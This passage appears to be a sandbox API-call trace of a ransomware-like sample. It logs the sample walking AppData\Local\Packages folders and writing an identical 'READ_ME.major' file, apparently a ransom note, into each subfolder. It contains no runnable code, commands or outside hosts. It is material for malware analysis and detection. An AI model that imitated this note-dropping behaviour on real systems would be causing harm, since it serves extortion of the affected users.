(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x964 [0191.166] WriteFile (in: hFile=0x964, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.167] CloseHandle (hObject=0x964) returned 1 [0191.167] FindNextFileW (in: hFindFile=0x6609b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9645a4f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1a14e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9645a4f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.167] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x964 [0191.168] WriteFile (in: hFile=0x964, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.169] CloseHandle (hObject=0x964) returned 1 [0191.169] FindNextFileW (in: hFindFile=0x6609b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9645a4f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1a14e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9645a4f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.169] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6670683, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x96d8829d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x24449135, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660a70 [0191.169] FindNextFileW (in: hFindFile=0x660a70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6670683, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x96d8829d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x24449135, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.169] FindNextFileW (in: hFindFile=0x660a70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x67c7ba3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x391dfc11, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x391dfc11, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.169] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x968 [0191.171] WriteFile (in: hFile=0x968, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.172] CloseHandle (hObject=0x968) returned 1 [0191.172] FindNextFileW (in: hFindFile=0x660a70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a1999, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1c652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x67a1999, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.172] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x968 [0191.173] WriteFile (in: hFile=0x968, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.174] CloseHandle (hObject=0x968) returned 1 [0191.174] FindNextFileW (in: hFindFile=0x660a70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bcb41, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1cab3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66bcb41, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.174] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x968 [0191.175] WriteFile (in: hFile=0x968, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.176] CloseHandle (hObject=0x968) returned 1 [0191.176] FindNextFileW (in: hFindFile=0x660a70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6670683, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1cea1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6670683, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.176] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x968 [0191.177] WriteFile (in: hFile=0x968, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.178] CloseHandle (hObject=0x968) returned 1 [0191.178] FindNextFileW (in: hFindFile=0x660a70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24449135, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24449135, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24449135, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.178] FindNextFileW (in: hFindFile=0x660a70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66968cc, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1d2d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66968cc, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.178] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x968 [0191.179] WriteFile (in: hFile=0x968, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.180] CloseHandle (hObject=0x968) returned 1 [0191.180] FindNextFileW (in: hFindFile=0x660a70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bcb41, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7136507a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7136507a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.180] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x968 [0191.182] WriteFile (in: hFile=0x968, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.183] CloseHandle (hObject=0x968) returned 1 [0191.183] FindNextFileW (in: hFindFile=0x660a70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9690fc23, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9690fc23, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9690fc23, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.183] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x968 [0191.184] WriteFile (in: hFile=0x968, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.185] CloseHandle (hObject=0x968) returned 1 [0191.185] FindNextFileW (in: hFindFile=0x660a70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bcb41, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c9c773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66bcb41, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.185] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x968 [0191.186] WriteFile (in: hFile=0x968, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.186] CloseHandle (hObject=0x968) returned 1 [0191.186] FindNextFileW (in: hFindFile=0x660a70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bcb41, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c9c773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66bcb41, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.186] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4097064, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xef8b4999, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x24449135, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660bb0 [0191.187] FindNextFileW (in: hFindFile=0x660bb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4097064, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xef8b4999, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x24449135, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.187] FindNextFileW (in: hFindFile=0x660bb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41ee58e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3957349d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3957349d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.187] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x96c [0191.188] WriteFile (in: hFile=0x96c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.188] CloseHandle (hObject=0x96c) returned 1 [0191.188] FindNextFileW (in: hFindFile=0x660bb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40e351b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1f214ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x40e351b, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.188] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x96c [0191.189] WriteFile (in: hFile=0x96c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.217] CloseHandle (hObject=0x96c) returned 1 [0191.218] FindNextFileW (in: hFindFile=0x660bb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40bd2b0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda90ec4a, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xda90ec4a, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.218] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x96c [0191.246] WriteFile (in: hFile=0x96c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.247] CloseHandle (hObject=0x96c) returned 1 [0191.247] FindNextFileW (in: hFindFile=0x660bb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4097064, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1f86969, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4097064, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.247] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x96c [0191.248] WriteFile (in: hFile=0x96c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.249] CloseHandle (hObject=0x96c) returned 1 [0191.249] FindNextFileW (in: hFindFile=0x660bb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24449135, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24449135, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24449135, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.249] FindNextFileW (in: hFindFile=0x660bb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4097064, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1f8706e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4097064, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.249] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x96c [0191.249] WriteFile (in: hFile=0x96c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.250] CloseHandle (hObject=0x96c) returned 1 [0191.250] FindNextFileW (in: hFindFile=0x660bb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40bd2b0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7138b2cd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7138b2cd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.250] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x96c [0191.252] WriteFile (in: hFile=0x96c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.253] CloseHandle (hObject=0x96c) returned 1 [0191.253] FindNextFileW (in: hFindFile=0x660bb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef652437, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xef652437, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xef652437, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.253] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x96c [0191.254] WriteFile (in: hFile=0x96c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, 